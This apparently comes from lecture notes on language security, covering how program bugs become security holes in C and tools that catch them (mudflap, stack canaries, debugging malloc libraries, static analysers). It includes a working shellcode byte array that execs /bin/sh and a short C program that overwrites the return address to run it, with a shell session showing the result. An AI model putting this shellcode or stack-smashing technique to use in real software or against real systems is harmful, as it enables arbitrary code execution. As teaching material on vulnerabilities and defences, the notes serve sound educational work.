Language Security

When a program has bugs there are many potential problems this can create:

  • Compiler gives syntax/semantic error (if you're very lucky)
  • Program halts with run-time error (if you're lucky)
  • Program never halts (not lucky, but at least you know)
  • Program completes, but gives incorrect results (if you're unlucky)
  • Program appears correct, but has security holes (if you're very unlucky)

Some of these just look unprofessional, or mean the program logic isn't working the way you intended. But sometimes these provide someone with the opportunity to explore the stack and modify other parts of the program. In other terms, a big security flaw.

C

C is especially vulnerable to security errors because there's no buffer/array checking.

If we give gcc the -lmudflap -fmudflap flags we get a very different C implementation -
Invalid array indices, pointer dereferences and some other invalid uses of the string library function are detected.

These aren't inbuilt because of the performance cost - execution from 1.2-10+x slower.

Example of Opening Shell inside C

// These bytes are machine code to make a system call to exec /bin/sh
int shellcode[] = {
    0x895e2aeb, 0x46c60876, 0x46c70007, 0x0000000c,
    0x000bb800, 0xf3890000, 0x8d084e8d, 0x80cd0c56,
    0x000001b8, 0x0000bb00, 0x80cd0000, 0xffffd1e8,
    0x69622fff, 0x68732f6e, 0x5dec8900, 0x000000c3
};
 
void f() {
    int a[10];
    a[11] = (int)&shellcode;
}
 
int main(void) {
    f();
}
For example:
 
% gcc-4.3 -o shell shell.c
% shell
sh-4.1$

Other Debug Tools to Protect This

  • Stack protection (canaries) e.g. gcc -fstack-protector-all.
  • Debugging malloc libraries - dmalloc and efence.

*Commercial : coverity and purify - different (complementary) approach to valgrind.